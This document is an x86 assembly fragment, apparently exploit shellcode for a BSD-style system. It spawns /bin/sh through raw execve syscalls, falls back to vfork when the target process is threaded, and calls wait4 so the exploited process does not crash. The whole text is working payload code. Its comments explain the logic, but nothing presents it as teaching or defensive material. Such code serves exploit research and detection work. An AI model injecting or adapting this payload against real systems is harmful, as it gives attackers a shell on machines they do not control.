_shell:
;; Test if vfork() will be needed. If execve(0, 0, 0) fails with
;; ENOTSUP, then we are in a threaded process and need to call
;; vfork().
xor eax, eax
push eax ; envp
push eax ; argv
push eax ; path
push eax
mov al, 59 ; SYS_execve
int 0x80
nop
nop
cmp al, 45 ; ENOTSUP
jne .execve_binsh
.vfork:
mov al, 66 ; SYS_vfork
int 0x80 ; vfork()
cmp edx, byte 0
jz .wait
;; Both child and parent continue to run execve below. The parent
;; fails and falls through to call wait4(), the child succeeds
;; and obviously doesn't call wait4() since it has exec'd a new
;; executable.
.execve_binsh:
xor eax, eax
push eax ; "\0\0\0\0"
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp
push eax ; envp
push eax ; argv
push ebx ; path
push eax ; spacer
mov al, 59 ; SYS_execve
int 0x80
.wait:
;; Wait for child process to exit before continuing and crashing
xor eax, eax
push eax
mov ebx, esp
push eax ; rusage
push eax ; options
push ebx ; stat_loc
push eax ; pid
push eax ; spacer
mov al, 7
int 0x80